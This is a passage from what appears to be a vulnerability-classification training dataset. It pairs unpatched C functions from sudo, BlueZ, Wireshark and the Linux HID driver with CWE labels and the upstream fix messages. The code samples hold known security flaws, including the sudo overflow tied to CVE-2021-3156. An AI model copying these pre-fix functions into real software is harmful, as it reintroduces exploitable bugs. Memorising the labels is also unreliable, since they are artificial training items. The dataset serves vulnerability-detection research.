directory\"));\n\tsudo_warnx(U_(\"ignoring \\\"%s\\\" found in '.'\\nUse \\\"sudo ./%s\\\" if this is the \\\"%s\\\" you wish to run.\"), user_cmnd, user_cmnd, user_cmnd);\n\tgoto bad;\n } else if (cmnd_status == NOT_FOUND) {\n\tif (ISSET(sudo_mode, MODE_CHECK)) {\n\t audit_failure(NewArgv, N_(\"%s: command not found\"),\n\t\tNewArgv[0]);\n\t sudo_warnx(U_(\"%s: command not found\"), NewArgv[0]);\n\t} else {\n\t audit_failure(NewArgv, N_(\"%s: command not found\"),\n\t\tuser_cmnd);\n\t sudo_warnx(U_(\"%s: command not found\"), user_cmnd);\n\t}\n\tgoto bad;\n }\n\n /* If user specified a timeout make sure sudoers allows it. */\n if (!def_user_command_timeouts && user_timeout > 0) {\n\tlog_warningx(SLOG_NO_STDERR|SLOG_AUDIT,\n\t N_(\"user not allowed to set a command timeout\"));\n\tsudo_warnx(\"%s\",\n\t U_(\"sorry, you are not allowed set a command timeout\"));\n\tgoto bad;\n }\n\n /* If user specified env vars make sure sudoers allows it. */\n if (ISSET(sudo_mode, MODE_RUN) && !def_setenv) {\n\tif (ISSET(sudo_mode, MODE_PRESERVE_ENV)) {\n\t log_warningx(SLOG_NO_STDERR|SLOG_AUDIT,\n\t\tN_(\"user not allowed to preserve the environment\"));\n\t sudo_warnx(\"%s\",\n\t\tU_(\"sorry, you are not allowed to preserve the environment\"));\n\t goto bad;\n\t} else {\n\t if (!validate_env_vars(sudo_user.env_vars))\n\t\tgoto bad;\n\t}\n }\n\n if (ISSET(sudo_mode, (MODE_RUN | MODE_EDIT)) && !remote_iologs) {\n\tif ((def_log_input || def_log_output) && def_iolog_file && def_iolog_dir) {\n\t if ((iolog_path = format_iolog_path()) == NULL) {\n\t\tif (!def_ignore_iolog_errors)\n\t\t goto done;\n\t\t/* Unable to expand I/O log path, disable I/O logging. */\n\t\tdef_log_input = false;\n\t\tdef_log_output = false;\n\t }\n\t}\n }\n\n switch (sudo_mode & MODE_MASK) {\n\tcase MODE_CHECK:\n\t ret = display_cmnd(snl, list_pw ? list_pw : sudo_user.pw);\n\t break;\n\tcase MODE_LIST:\n\t ret = display_privs(snl, list_pw ? list_pw : sudo_user.pw, verbose);\n\t break;\n\tcase MODE_VALIDATE:\n\tcase MODE_RUN:\n\tcase MODE_EDIT:\n\t /* ret may be overridden by \"goto bad\" later */\n\t ret = true;\n\t break;\n\tdefault:\n\t /* Should not happen. */\n\t sudo_warnx(\"internal error, unexpected sudo mode 0x%x\", sudo_mode);\n\t goto done;\n }\n\n /* Cleanup sudoers sources */\n TAILQ_FOREACH(nss, snl, entries) {\n\tnss->close(nss);\n }\n if (def_group_plugin)\n\tgroup_plugin_unload();\n init_parser(NULL, false, false);\n\n if (ISSET(sudo_mode, (MODE_VALIDATE|MODE_CHECK|MODE_LIST))) {\n\t/* ret already set appropriately */\n\tgoto done;\n }\n\n /*\n * Set umask based on sudoers.\n * If user's umask is more restrictive, OR in those bits too\n * unless umask_override is set.\n */\n if (def_umask != ACCESSPERMS) {\n\tcmnd_umask = def_umask;\n\tif (!def_umask_override)\n\t cmnd_umask |= user_umask;\n }\n\n if (ISSET(sudo_mode, MODE_LOGIN_SHELL)) {\n\tchar *p;\n\n\t/* Convert /bin/sh -> -sh so shell knows it is a login shell */\n\tif ((p = strrchr(NewArgv[0], '/')) == NULL)\n\t p = NewArgv[0];\n\t*p = '-';\n\tNewArgv[0] = p;\n\n\t/*\n\t * Newer versions of bash require the --login option to be used\n\t * in conjunction with the -c option even if the shell name starts\n\t * with a '-'. Unfortunately, bash 1.x uses -login, not --login\n\t * so this will cause an error for that.\n\t */\n\tif (NewArgc > 1 && strcmp(NewArgv[0], \"-bash\") == 0 &&\n\t strcmp(NewArgv[1], \"-c\") == 0) {\n\t /* Use the extra slot before NewArgv so we can store --login. */\n\t NewArgv--;\n\t NewArgc++;\n\t NewArgv[0] = NewArgv[1];\n\t NewArgv[1] = \"--login\";\n\t}\n\n#if defined(_AIX) || (defined(__linux__) && !defined(HAVE_PAM))\n\t/* Insert system-wide environment variables. */\n\tif (!read_env_file(_PATH_ENVIRONMENT, true, false))\n\t sudo_warn(\"%s\", _PATH_ENVIRONMENT);\n#endif\n#ifdef HAVE_LOGIN_CAP_H\n\t/* Set environment based on login class. */\n\tif (login_class) {\n\t login_cap_t *lc = login_getclass(login_class);\n\t if (lc != NULL) {\n\t\tsetusercontext(lc, runas_pw, runas_pw->pw_uid, LOGIN_SETPATH|LOGIN_SETENV);\n\t\tlogin_close(lc);\n\t }\n\t}\n#endif /* HAVE_LOGIN_CAP_H */\n }\n\n /* Insert system-wide environment variables. */\n if (def_restricted_env_file) {\n\tif (!read_env_file(def_restricted_env_file, false, true))\n\t sudo_warn(\"%s\", def_restricted_env_file);\n }\n if (def_env_file) {\n\tif (!read_env_file(def_env_file, false, false))\n\t sudo_warn(\"%s\", def_env_file);\n }\n\n /* Insert user-specified environment variables. */\n if (!insert_env_vars(sudo_user.env_vars))\n\tgoto done;\n\n /* Note: must call audit before uid change. */\n if (ISSET(sudo_mode, MODE_EDIT)) {\n\tchar **edit_argv;\n\tint edit_argc;\n\tconst char *env_editor;\n\n\tfree(safe_cmnd);\n\tsafe_cmnd = find_editor(NewArgc - 1, NewArgv + 1, &edit_argc,\n\t &edit_argv, NULL, &env_editor, false);\n\tif (safe_cmnd == NULL) {\n\t if (errno != ENOENT)\n\t\tgoto done;\n\t audit_failure(NewArgv, N_(\"%s: command not found\"),\n\t\tenv_editor ? env_editor : def_editor);\n\t sudo_warnx(U_(\"%s: command not found\"),\n\t\tenv_editor ? env_editor : def_editor);\n\t goto bad;\n\t}\n\tsudoers_gc_add(GC_VECTOR, edit_argv);\n\tNewArgv = edit_argv;\n\tNewArgc = edit_argc;\n\n\t/* We want to run the editor with the unmodified environment. */\n\tenv_swap_old();\n }\n\n goto done;\n\nbad:\n ret = false;\n\ndone:\n if (ret == -1) {\n\t/* Free stashed copy of the environment. */\n\t(void)env_init(NULL);\n } else {\n\t/* Store settings to pass back to front-end. */\n\tif (!sudoers_policy_store_result(ret, NewArgv, env_get(), cmnd_umask,\n\t\tiolog_path, closure))\n\t ret = -1;\n }\n\n if (!rewind_perms())\n\tret = -1;\n\n restore_nproc();\n\n /* Destroy the password and group caches and free the contents. */\n sudo_freepwcache();\n sudo_freegrcache();\n\n sudo_warn_set_locale_func(NULL);\n\n debug_return_int(ret);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-193'], 'message': 'Fix potential buffer overflow when unescaping backslashes in user_args.\nAlso, do not try to unescaping backslashes unless in run mode *and*\nwe are running the command via a shell.\nFound by Qualys, this fixes CVE-2021-3156.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void read_multiple_cb(struct bt_att_chan *chan, uint8_t opcode,\n\t\t\t\t\tconst void *pdu, uint16_t length,\n\t\t\t\t\tvoid *user_data)\n{\n\tstruct bt_gatt_server *server = user_data;\n\tstruct gatt_db_attribute *attr;\n\tstruct read_mult_data *data = NULL;\n\tuint8_t ecode;\n\tsize_t i = 0;\n\tuint16_t handle = 0;\n\n\tif (length < 4) {\n\t\tecode = BT_ATT_ERROR_INVALID_PDU;\n\t\tgoto error;\n\t}\n\n\tdata = read_mult_data_new(server, chan, opcode, length / 2);\n\tif (!data)\n\t\tgoto error;\n\n\tfor (i = 0; i < data->num_handles; i++)\n\t\tdata->handles[i] = get_le16(pdu + i * 2);\n\n\thandle = data->handles[0];\n\n\tutil_debug(server->debug_callback, server->debug_data,\n\t\t\t\"%s Req - %zu handles, 1st: 0x%04x\",\n\t\t\tdata->opcode == BT_ATT_OP_READ_MULT_REQ ?\n\t\t\t\"Read Multiple\" : \"Read Multiple Variable Length\",\n\t\t\tdata->num_handles, handle);\n\n\tattr = gatt_db_get_attribute(server->db, handle);\n\n\tif (!attr) {\n\t\tecode = BT_ATT_ERROR_INVALID_HANDLE;\n\t\tgoto error;\n\t}\n\n\tecode = check_permissions(data->server, attr, BT_ATT_PERM_READ |\n\t\t\t\t\t\tBT_ATT_PERM_READ_AUTHEN |\n\t\t\t\t\t\tBT_ATT_PERM_READ_ENCRYPT);\n\tif (ecode)\n\t\tgoto error;\n\n\tif (gatt_db_attribute_read(attr, 0, opcode, server->att,\n\t\t\t\t\tread_multiple_complete_cb, data))\n\t\treturn;\n\n\tecode = BT_ATT_ERROR_UNLIKELY;\n\nerror:\n\tif (data)\n\t\tread_mult_data_free(data);\n\n\tbt_att_chan_send_error_rsp(chan, opcode, handle, ecode);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-287'], 'message': 'shared/gatt-server: Fix not properly checking for secure flags\n\nWhen passing the mask to check_permissions all valid permissions for\nthe operation must be set including BT_ATT_PERM_SECURE flags.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: decompress_gzip(tvbuff_t *tvb, packet_info *pinfo, int offset, guint32 length, tvbuff_t **decompressed_tvb, int *decompressed_offset)\n{\n *decompressed_tvb = tvb_child_uncompress(tvb, tvb, offset, length);\n *decompressed_offset = 0;\n if (*decompressed_tvb) {\n return 1;\n } else {\n col_append_str(pinfo->cinfo, COL_INFO, \" [gzip decompression failed] \");\n return 0;\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-401'], 'message': 'Kafka: Limit our decompression size.\n\nDon't assume that the Internet has our best interests at heart when it\ngives us the size of our decompression buffer. Assign an arbitrary limit\nof 50 MB.\n\nThis fixes #16739 in that it takes care of\n\n** (process:17681): WARNING **: 20:03:07.440: Dissector bug, protocol Kafka, in packet 31: ../epan/proto.c:7043: failed assertion \"end >= fi->start\"\n\nwhich is different from the original error output. It looks like *that*\nmight have taken care of in one of the other recent Kafka bug fixes.\n\nThe decompression routines return a success or failure status. Use\ngbooleans instead of ints for that.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void hidinput_configure_usage(struct hid_input *hidinput, struct hid_field *field,\n\t\t\t\t struct hid_usage *usage)\n{\n\tstruct input_dev *input = hidinput->input;\n\tstruct hid_device *device = input_get_drvdata(input);\n\tint max = 0, code;\n\tunsigned long *bit = NULL;\n\n\tfield->hidinput = hidinput;\n\n\tif (field->flags & HID_MAIN_ITEM_CONSTANT)\n\t\tgoto ignore;\n\n\t/* Ignore if report count is out of bounds. */\n\tif (field->report_count < 1)\n\t\tgoto ignore;\n\n\t/* only LED usages are supported in output fields */\n\tif (field->report_type == HID_OUTPUT_REPORT &&\n\t\t\t(usage->hid & HID_USAGE_PAGE) != HID_UP_LED) {\n\t\tgoto ignore;\n\t}\n\n\tif (device->driver->input_mapping) {\n\t\tint ret = device->driver->input_mapping(device, hidinput, field,\n\t\t\t\tusage, &bit, &max);\n\t\tif (ret > 0)\n\t\t\tgoto mapped;\n\t\tif (ret < 0)\n\t\t\tgoto ignore;\n\t}\n\n\tswitch (usage->hid & HID_USAGE_PAGE) {\n\tcase HID_UP_UNDEFINED:\n\t\tgoto ignore;\n\n\tcase HID_UP_KEYBOARD:\n\t\tset_bit(EV_REP, input->evbit);\n\n\t\tif ((usage->hid & HID_USAGE) < 256) {\n\t\t\tif (!hid_keyboard[usage->hid & HID_USAGE]) goto ignore;\n\t\t\tmap_key_clear(hid_keyboard[usage->hid & HID_USAGE]);\n\t\t} else\n\t\t\tmap_key(KEY_UNKNOWN);\n\n\t\tbreak;\n\n\tcase HID_UP_BUTTON:\n\t\tcode = ((usage->hid - 1) & HID_USAGE);\n\n\t\tswitch (field->application) {\n\t\tcase HID_GD_MOUSE:\n\t\tcase HID_GD_POINTER: code += BTN_MOUSE; break;\n\t\tcase HID_GD_JOYSTICK:\n\t\t\t\tif (code <= 0xf)\n\t\t\t\t\tcode += BTN_JOYSTICK;\n\t\t\t\telse\n\t\t\t\t\tcode += BTN_TRIGGER_HAPPY - 0x10;\n\t\t\t\tbreak;\n\t\tcase HID_GD_GAMEPAD:\n\t\t\t\tif (code <= 0xf)\n\t\t\t\t\tcode += BTN_GAMEPAD;\n\t\t\t\telse\n\t\t\t\t\tcode += BTN_TRIGGER_HAPPY - 0x10;\n\t\t\t\tbreak;\n\t\tdefault:\n\t\t\tswitch (field->physical) {\n\t\t\tcase HID_GD_MOUSE:\n\t\t\tcase HID_GD_POINTER: code += BTN_MOUSE; break;\n\t\t\tcase HID_GD_JOYSTICK: code += BTN_JOYSTICK; break;\n\t\t\tcase HID_GD_GAMEPAD: code += BTN_GAMEPAD; break;\n\t\t\tdefault: code += BTN_MISC;\n\t\t\t}\n\t\t}\n\n\t\tmap_key(code);\n\t\tbreak;\n\n\tcase HID_UP_SIMULATION:\n\t\tswitch (usage->hid & 0xffff) {\n\t\tcase 0xba: map_abs(ABS_RUDDER); break;\n\t\tcase 0xbb: map_abs(ABS_THROTTLE); break;\n\t\tcase 0xc4: map_abs(ABS_GAS); break;\n\t\tcase 0xc5: map_abs(ABS_BRAKE); break;\n\t\tcase 0xc8: map_abs(ABS_WHEEL); break;\n\t\tdefault: goto ignore;\n\t\t}\n\t\tbreak;\n\n\tcase HID_UP_GENDESK:\n\t\tif ((usage->hid & 0xf0) == 0x80) {\t/* SystemControl */\n\t\t\tswitch (usage->hid & 0xf) {\n\t\t\tcase 0x1: map_key_clear(KEY_POWER); break;\n\t\t\tcase 0x2: map_key_clear(KEY_SLEEP); break;\n\t\t\tcase 0x3: map_key_clear(KEY_WAKEUP); break;\n\t\t\tcase 0x4: map_key_clear(KEY_CONTEXT_MENU); break;\n\t\t\tcase 0x5: map_key_clear(KEY_MENU); break;\n\t\t\tcase 0x6: map_key_clear(KEY_PROG1); break;\n\t\t\tcase 0x7: map_key_clear(KEY_HELP); break;\n\t\t\tcase 0x8: map_key_clear(KEY_EXIT); break;\n\t\t\tcase 0x9: map_key_clear(KEY_SELECT); break;\n\t\t\tcase 0xa: map_key_clear(KEY_RIGHT); break;\n\t\t\tcase 0xb: map_key_clear(KEY_LEFT); break;\n\t\t\tcase 0xc: map_key_clear(KEY_UP); break;\n\t\t\tcase 0xd: map_key_clear(KEY_DOWN); break;\n\t\t\tcase 0xe: map_key_clear(KEY_POWER2); break;\n\t\t\tcase 0xf: map_key_clear(KEY_RESTART); break;\n\t\t\tdefault: goto unknown;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tif ((usage->hid & 0xf0) == 0xb0) {\t/* SC - Display */\n\t\t\tswitch (usage->hid & 0xf) {\n\t\t\tcase 0x05: map_key_clear(KEY_SWITCHVIDEOMODE); break;\n\t\t\tdefault: goto ignore;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\t/*\n\t\t * Some lazy vendors declare 255 usages for System Control,\n\t\t * leading to the creation of ABS_X|Y axis and too many others.\n\t\t * It wouldn't be a problem if joydev doesn't consider the\n\t\t * device as a joystick then.\n\t\t */\n\t\tif (field->application == HID_GD_SYSTEM_CONTROL)\n\t\t\tgoto ignore;\n\n\t\tif ((usage->hid & 0xf0) == 0x90) {\t/* D-pad */\n\t\t\tswitch (usage->hid) {\n\t\t\tcase HID_GD_UP:\t usage->hat_dir = 1; break;\n\t\t\tcase HID_GD_DOWN: usage->hat_dir = 5; break;\n\t\t\tcase HID_GD_RIGHT: usage->hat_dir = 3; break;\n\t\t\tcase HID_GD_LEFT: usage->hat_dir = 7; break;\n\t\t\tdefault: goto unknown;\n\t\t\t}\n\t\t\tif (field->dpad) {\n\t\t\t\tmap_abs(field->dpad);\n\t\t\t\tgoto ignore;\n\t\t\t}\n\t\t\tmap_abs(ABS_HAT0X);\n\t\t\tbreak;\n\t\t}\n\n\t\tswitch (usage->hid) {\n\t\t/* These usage IDs map directly to the usage codes. */\n\t\tcase HID_GD_X: case HID_GD_Y: case HID_GD_Z:\n\t\tcase HID_GD_RX: case HID_GD_RY: case HID_GD_RZ:\n\t\t\tif (field->flags & HID_MAIN_ITEM_RELATIVE)\n\t\t\t\tmap_rel(usage->hid & 0xf);\n\t\t\telse\n\t\t\t\tmap_abs_clear(usage->hid & 0xf);\n\t\t\tbreak;\n\n\t\tcase HID_GD_WHEEL:\n\t\t\tif (field->flags & HID_MAIN_ITEM_RELATIVE) {\n\t\t\t\tset_bit(REL_WHEEL, input->relbit);\n\t\t\t\tmap_rel(REL_WHEEL_HI_RES);\n\t\t\t} else {\n\t\t\t\tmap_abs(usage->hid & 0xf);\n\t\t\t}\n\t\t\tbreak;\n\t\tcase HID_GD_SLIDER: case HID_GD_DIAL:\n\t\t\tif (field->flags & HID_MAIN_ITEM_RELATIVE)\n\t\t\t\tmap_rel(usage->hid & 0xf);\n\t\t\telse\n\t\t\t\tmap_abs(usage->hid & 0xf);\n\t\t\tbreak;\n\n\t\tcase HID_GD_HATSWITCH:\n\t\t\tusage->hat_min = field->logical_minimum;\n\t\t\tusage->hat_max = field->logical_maximum;\n\t\t\tmap_abs(ABS_HAT0X);\n\t\t\tbreak;\n\n\t\tcase HID_GD_START:\tmap_key_clear(BTN_START);\tbreak;\n\t\tcase HID_GD_SELECT:\tmap_key_clear(BTN_SELECT);\tbreak;\n\n\t\tcase HID_GD_RFKILL_BTN:\n\t\t\t/* MS wireless radio ctl extension, also check CA */\n\t\t\tif (field->application == HID_GD_WIRELESS_RADIO_CTLS) {\n\t\t\t\tmap_key_clear(KEY_RFKILL);\n\t\t\t\t/* We need to simulate the btn release */\n\t\t\t\tfield->flags |= HID_MAIN_ITEM_RELATIVE;\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\tdefault: goto unknown;\n\t\t}\n\n\t\tbreak;\n\n\tcase HID_UP_LED:\n\t\tswitch (usage->hid & 0xffff) {\t\t /* HID-Value: */\n\t\tcase 0x01: map_led (LED_NUML); break; /* \"Num Lock\" */\n\t\tcase 0x02: map_led (LED_CAPSL); break; /* \"Caps Lock\" */\n\t\tcase 0x03: map_led (LED_SCROLLL); break; /* \"Scroll Lock\" */\n\t\tcase 0x04: map_led (LED_COMPOSE); break; /* \"Compose\" */\n\t\tcase 0x05: map_led (LED_KANA); break; /* \"Kana\" */\n\t\tcase 0x27: map_led (LED_SLEEP); break; /* \"Stand-By\" */\n\t\tcase 0x4c: map_led (LED_SUSPEND); break; /* \"System Suspend\" */\n\t\tcase 0x09: map_led (LED_MUTE); break; /* \"Mute\" */\n\t\tcase 0x4b: map_led (LED_MISC); break; /* \"Generic Indicator\" */\n\t\tcase 0x19: map_led (LED_MAIL); break; /* \"Message Waiting\" */\n\t\tcase 0x4d: map_led (LED_CHARGING); break; /* \"External Power Connected\" */\n\n\t\tdefault: goto ignore;\n\t\t}\n\t\tbreak;\n\n\tcase HID_UP_DIGITIZER:\n\t\tif ((field->application & 0xff) == 0x01) /* Digitizer */\n\t\t\t__set_bit(INPUT_PROP_POINTER, input->propbit);\n\t\telse if ((field->application & 0xff) == 0x02) /* Pen */\n\t\t\t__set_bit(INPUT_PROP_DIRECT, input->propbit);\n\n\t\tswitch (usage->hid & 0xff) {\n\t\tcase 0x00: /* Undefined */\n\t\t\tgoto ignore;\n\n\t\tcase 0x30: /* TipPressure */\n\t\t\tif (!test_bit(BTN_TOUCH, input->keybit)) {\n\t\t\t\tdevice->quirks |= HID_QUIRK_NOTOUCH;\n\t\t\t\tset_bit(EV_KEY, input->evbit);\n\t\t\t\tset_bit(BTN_TOUCH, input->keybit);\n\t\t\t}\n\t\t\tmap_abs_clear(ABS_PRESSURE);\n\t\t\tbreak;\n\n\t\tcase 0x32: /* InRange */\n\t\t\tswitch (field->physical & 0xff) {\n\t\t\tcase 0x21: map_key(BTN_TOOL_MOUSE); break;\n\t\t\tcase 0x22: map_key(BTN_TOOL_FINGER); break;\n\t\t\tdefault: map_key(BTN_TOOL_PEN); break;\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase 0x3b: /* Battery Strength */\n\t\t\thidinput_setup_battery(device, HID_INPUT_REPORT, field);\n\t\t\tusage->type = EV_PWR;\n\t\t\tgoto ignore;\n\n\t\tcase 0x3c: /* Invert */\n\t\t\tmap_key_clear(BTN_TOOL_RUBBER);\n\t\t\tbreak;\n\n\t\tcase 0x3d: /* X Tilt */\n\t\t\tmap_abs_clear(ABS_TILT_X);\n\t\t\tbreak;\n\n\t\tcase 0x3e: /* Y Tilt */\n\t\t\tmap_abs_clear(ABS_TILT_Y);\n\t\t\tbreak;\n\n\t\tcase 0x33: /* Touch */\n\t\tcase 0x42: /* TipSwitch */\n\t\tcase 0x43: /* TipSwitch2 */\n\t\t\tdevice->quirks &= ~HID_QUIRK_NOTOUCH;\n\t\t\tmap_key_clear(BTN_TOUCH);\n\t\t\tbreak;\n\n\t\tcase 0x44: /* BarrelSwitch */\n\t\t\tmap_key_clear(BTN_STYLUS);\n\t\t\tbreak;\n\n\t\tcase 0x45: /* ERASER */\n\t\t\t/*\n\t\t\t * This event is reported when eraser tip touches the surface.\n\t\t\t * Actual eraser (BTN_TOOL_RUBBER) is set by Invert usage when\n\t\t\t * tool gets in proximity.\n\t\t\t */\n\t\t\tmap_key_clear(BTN_TOUCH);\n\t\t\tbreak;\n\n\t\tcase 0x46: /* TabletPick */\n\t\tcase 0x5a: /* SecondaryBarrelSwitch */\n\t\t\tmap_key_clear(BTN_STYLUS2);\n\t\t\tbreak;\n\n\t\tcase 0x5b: /* TransducerSerialNumber */\n\t\t\tusage->type = EV_MSC;\n\t\t\tusage->code = MSC_SERIAL;\n\t\t\tbit = input->mscbit;\n\t\t\tmax = MSC_MAX;\n\t\t\tbreak;\n\n\t\tdefault: goto unknown;\n\t\t}\n\t\tbreak;\n\n\tcase HID_UP_TELEPHONY:\n\t\tswitch (usage->hid & HID_USAGE) {\n\t\tcase 0x2f: map_key_clear(KEY_MICMUTE);\t\tbreak;\n\t\tcase 0xb0: map_key_clear(KEY_NUMERIC_0);\tbreak;\n\t\tcase 0xb1: map_key_clear(KEY_NUMERIC_1);\tbreak;\n\t\tcase 0xb2: map_key_clear(KEY_NUMERIC_2);\tbreak;\n\t\tcase 0xb3: map_key_clear(KEY_NUMERIC_3);\tbreak;\n\t\tcase 0xb4: map_key_clear(KEY_NUMERIC_4);\tbreak;\n\t\tcase 0xb5: map_key_clear(KEY_NUMERIC_5);\tbreak;\n\t\tcase 0xb6: map_key_clear(KEY_NUMERIC_6);\tbreak;\n\t\tcase 0xb7: map_key_clear(KEY_NUMERIC_7);\tbreak;\n\t\tcase 0xb8: map_key_clear(KEY_NUMERIC_8);\tbreak;\n\t\tcase 0xb9: map_key_clear(KEY_NUMERIC_9);\tbreak;\n\t\tcase 0xba: map_key_clear(KEY_NUMERIC_STAR);\tbreak;\n\t\tcase 0xbb: map_key_clear(KEY_NUMERIC_POUND);\tbreak;\n\t\tcase 0xbc: map_key_clear(KEY_NUMERIC_A);\tbreak;\n\t\tcase 0xbd: map_key_clear(KEY_NUMERIC_B);\tbreak;\n\t\tcase 0xbe: map_key_clear(KEY_NUMERIC_C);\tbreak;\n\t\tcase 0xbf: map_key_clear(KEY_NUMERIC_D);\tbreak;\n\t\tdefault: goto ignore;\n\t\t}\n\t\tbreak;\n\n\tcase HID_UP_CONSUMER:\t/* USB HUT v1.12, pages 75-84 */\n\t\tswitch (usage->hid & HID_USAGE) {\n\t\tcase 0x000: goto ignore;\n\t\tcase 0x030: map_key_clear(KEY_POWER);\t\tbreak;\n\t\tcase 0x031: map_key_clear(KEY_RESTART);\t\tbreak;\n\t\tcase 0x032: map_key_clear(KEY_SLEEP);\t\tbreak;\n\t\tcase 0x034: map_key_clear(KEY_SLEEP);\t\tbreak;\n\t\tcase 0x035: map_key_clear(KEY_KBDILLUMTOGGLE);\tbreak;\n\t\tcase 0x036: map_key_clear(BTN_MISC);\t\tbreak;\n\n\t\tcase 0x040: map_key_clear(KEY_MENU);\t\tbreak; /* Menu */\n\t\tcase 0x041: map_key_clear(KEY_SELECT);\t\tbreak; /* Menu Pick */\n\t\tcase 0x042: map_key_clear(KEY_UP);\t\tbreak; /* Menu Up */\n\t\tcase 0x043: map_key_clear(KEY_DOWN);\t\tbreak; /* Menu Down */\n\t\tcase 0x044: map_key_clear(KEY_LEFT);\t\tbreak; /* Menu Left */\n\t\tcase 0x045: map_key_clear(KEY_RIGHT);\t\tbreak; /* Menu Right */\n\t\tcase 0x046: map_key_clear(KEY_ESC);\t\tbreak; /* Menu Escape */\n\t\tcase 0x047: map_key_clear(KEY_KPPLUS);\t\tbreak; /* Menu Value Increase */\n\t\tcase 0x048: map_key_clear(KEY_KPMINUS);\t\tbreak; /* Menu Value Decrease */\n\n\t\tcase 0x060: map_key_clear(KEY_INFO);\t\tbreak; /* Data On Screen */\n\t\tcase 0x061: map_key_clear(KEY_SUBTITLE);\tbreak; /* Closed Caption */\n\t\tcase 0x063: map_key_clear(KEY_VCR);\t\tbreak; /* VCR/TV */\n\t\tcase 0x065: map_key_clear(KEY_CAMERA);\t\tbreak; /* Snapshot */\n\t\tcase 0x069: map_key_clear(KEY_RED);\t\tbreak;\n\t\tcase 0x06a: map_key_clear(KEY_GREEN);\t\tbreak;\n\t\tcase 0x06b: map_key_clear(KEY_BLUE);\t\tbreak;\n\t\tcase 0x06c: map_key_clear(KEY_YELLOW);\t\tbreak;\n\t\tcase 0x06d: map_key_clear(KEY_ASPECT_RATIO);\tbreak;\n\n\t\tcase 0x06f: map_key_clear(KEY_BRIGHTNESSUP);\t\tbreak;\n\t\tcase 0x070: map_key_clear(KEY_BRIGHTNESSDOWN);\t\tbreak;\n\t\tcase 0x072: map_key_clear(KEY_BRIGHTNESS_TOGGLE);\tbreak;\n\t\tcase 0x073: map_key_clear(KEY_BRIGHTNESS_MIN);\t\tbreak;\n\t\tcase 0x074: map_key_clear(KEY_BRIGHTNESS_MAX);\t\tbreak;\n\t\tcase 0x075: map_key_clear(KEY_BRIGHTNESS_AUTO);\t\tbreak;\n\n\t\tcase 0x079: map_key_clear(KEY_KBDILLUMUP);\tbreak;\n\t\tcase 0x07a: map_key_clear(KEY_KBDILLUMDOWN);\tbreak;\n\t\tcase 0x07c: map_key_clear(KEY_KBDILLUMTOGGLE);\tbreak;\n\n\t\tcase 0x082: map_key_clear(KEY_VIDEO_NEXT);\tbreak;\n\t\tcase 0x083: map_key_clear(KEY_LAST);\t\tbreak;\n\t\tcase 0x084: map_key_clear(KEY_ENTER);\t\tbreak;\n\t\tcase 0x088: map_key_clear(KEY_PC);\t\tbreak;\n\t\tcase 0x089: map_key_clear(KEY_TV);\t\tbreak;\n\t\tcase 0x08a: map_key_clear(KEY_WWW);\t\tbreak;\n\t\tcase 0x08b: map_key_clear(KEY_DVD);\t\tbreak;\n\t\tcase 0x08c: map_key_clear(KEY_PHONE);\t\tbreak;\n\t\tcase 0x08d: map_key_clear(KEY_PROGRAM);\t\tbreak;\n\t\tcase 0x08e: map_key_clear(KEY_VIDEOPHONE);\tbreak;\n\t\tcase 0x08f: map_key_clear(KEY_GAMES);\t\tbreak;\n\t\tcase 0x090: map_key_clear(KEY_MEMO);\t\tbreak;\n\t\tcase 0x091: map_key_clear(KEY_CD);\t\tbreak;\n\t\tcase 0x092: map_key_clear(KEY_VCR);\t\tbreak;\n\t\tcase 0x093: map_key_clear(KEY_TUNER);\t\tbreak;\n\t\tcase 0x094: map_key_clear(KEY_EXIT);\t\tbreak;\n\t\tcase 0x095: map_key_clear(KEY_HELP);\t\tbreak;\n\t\tcase 0x096: map_key_clear(KEY_TAPE);\t\tbreak;\n\t\tcase 0x097: map_key_clear(KEY_TV2);\t\tbreak;\n\t\tcase 0x098: map_key_clear(KEY_SAT);\t\tbreak;\n\t\tcase 0x09a: map_key_clear(KEY_PVR);\t\tbreak;\n\n\t\tcase 0x09c: map_key_clear(KEY_CHANNELUP);\tbreak;\n\t\tcase 0x09d: map_key_clear(KEY_CHANNELDOWN);\tbreak;\n\t\tcase 0x0a0: map_key_clear(KEY_VCR2);\t\tbreak;\n\n\t\tcase 0x0b0: map_key_clear(KEY_PLAY);\t\tbreak;\n\t\tcase 0x0b1: map_key_clear(KEY_PAUSE);\t\tbreak;\n\t\tcase 0x0b2: map_key_clear(KEY_RECORD);\t\tbreak;\n\t\tcase 0x0b3: map_key_clear(KEY_FASTFORWARD);\tbreak;\n\t\tcase 0x0b4: map_key_clear(KEY_REWIND);\t\tbreak;\n\t\tcase 0x0b5: map_key_clear(KEY_NEXTSONG);\tbreak;\n\t\tcase 0x0b6: map_key_clear(KEY_PREVIOUSSONG);\tbreak;\n\t\tcase 0x0b7: map_key_clear(KEY_STOPCD);\t\tbreak;\n\t\tcase 0x0b8: map_key_clear(KEY_EJECTCD);\t\tbreak;\n\t\tcase 0x0bc: map_key_clear(KEY_MEDIA_REPEAT);\tbreak;\n\t\tcase 0x0b9: map_key_clear(KEY_SHUFFLE);\t\tbreak;\n\t\tcase 0x0bf: map_key_clear(KEY_SLOW);\t\tbreak;\n\n\t\tcase 0x0cd: map_key_clear(KEY_PLAYPAUSE);\tbreak;\n\t\tcase 0x0cf: map_key_clear(KEY_VOICECOMMAND);\tbreak;\n\t\tcase 0x0e0: map_abs_clear(ABS_VOLUME);\t\tbreak;\n\t\tcase 0x0e2: map_key_clear(KEY_MUTE);\t\tbreak;\n\t\tcase 0x0e5: 